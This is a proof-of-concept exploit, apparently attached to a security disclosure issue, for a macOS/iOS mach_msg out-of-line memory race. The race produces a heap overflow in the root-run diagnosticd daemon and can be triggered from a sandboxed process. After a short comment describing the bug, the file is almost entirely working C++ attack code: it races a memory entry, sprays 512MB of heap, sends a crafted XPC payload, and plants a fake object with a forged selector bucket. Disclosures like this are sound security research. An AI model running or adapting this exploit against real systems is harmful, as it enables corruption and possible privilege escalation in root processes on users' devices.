New issue
Advanced search Search tips

Issue 1083 attachment: poc.cc (14.3 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
/*
macOS/IOS: mach_msg: doesn't copy memory

When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.

Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.

v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd

If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.

This bug is triggerable from a sandboxed process.

The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.

Tested on macOS Sierra 10.12.2(16C67).

clang++ -o poc poc.cc -std=c++11

*/

#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>

#include <vector>
#include <chrono>
#include <thread>

struct RaceContext {
std::vector<uint8_t> payload;
size_t race_offset;

std::vector<uint8_t> spray;
size_t spray_size;
};

xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);

double now() {
return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}

mach_port_t createMemoryEntry(memory_object_size_t size) {
vm_address_t addr = 0;
vm_allocate(mach_task_self(), &addr, size, true);

memset((void*)addr, 0, size);

mach_port_t res = 0;
mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);

vm_deallocate(mach_task_self(), addr, size);

return res;
}

void sendPayload(const RaceContext* ctx) {
size_t data_size = ctx->spray_size;

mach_port_t mem_entry = createMemoryEntry(data_size);

uint8_t* data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);

memcpy(data, &ctx->payload[0], ctx->payload.size());

for (size_t i = 0x1000; i < data_size; i += 0x1000) {
memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
}

for (int32_t i = 0; i < 0x4000; i++) {
double start = now();

xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {

});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));

double duration = now() - start;
printf("duration: %f\n", duration);

if (duration > 2.0) {
xpc_release(client);
break;
}

mach_port_t service_port = ((uint32_t*)client)[15];

void* msg_data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);

struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
} m = {};

m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
m.hdr.msgh_id = 0x10000000;

m.body.msgh_descriptor_count = 1;

m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = msg_data;
m.ool_desc.size = (mach_msg_size_t)data_size;
m.ool_desc.deallocate = 1;
m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;

bool stop = true;
std::thread syncer([&] {
while (stop);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
stop = true;
});

size_t race_offset = ctx->race_offset;
__uint128_t orig = *(__uint128_t*)&data[race_offset];
__uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";

mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

stop = false;
while (!stop) {
*(__uint128_t*)&data[race_offset] = orig;
*(__uint128_t*)&data[race_offset] = new_one;
}

syncer.join();
*(__uint128_t*)&data[race_offset] = orig;

xpc_release(client);
}

mach_port_deallocate(mach_task_self(), mem_entry);
}

const void* memSearch(const void* base, const void* data, size_t size) {
const uint8_t* p = (const uint8_t*)base;
for (;;) {
if (!memcmp(p, data, size))
return p;

p++;
}
}

void* getLibraryAddress(const char* library_name) {
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;

task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);

const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;

for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return 0;
}

void initRace(RaceContext* ctx) {
struct FakeObject {
void* unk[2];
void* ref_to_bucket;
void* padd[0x10];
struct {
const void* sel;
const void* func;
} bucket;
};

const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
const size_t kTagOffset = 0x954;
const uintptr_t kSprayedAddr = 0x120101010;

//ctx->data.resize(0x10000);
ctx->payload.resize(0x1000);
ctx->race_offset = kTagOffset - 0x10;

memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
*(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;

ctx->spray.resize(0x300);
ctx->spray_size = 1024 * 1024 * 512;

void* libdispatch = getLibraryAddress("libdispatch.dylib");

FakeObject* predict = (FakeObject*)kSprayedAddr;
FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
obj->ref_to_bucket = &predict->bucket;
obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
obj->bucket.func = (void*)0x9999;
}

int32_t main() {
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {

});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));

RaceContext ctx;
initRace(&ctx);

printf("attach the debugger to diagnosticd\n");
getchar();

sendPayload(&ctx);

return 0;
}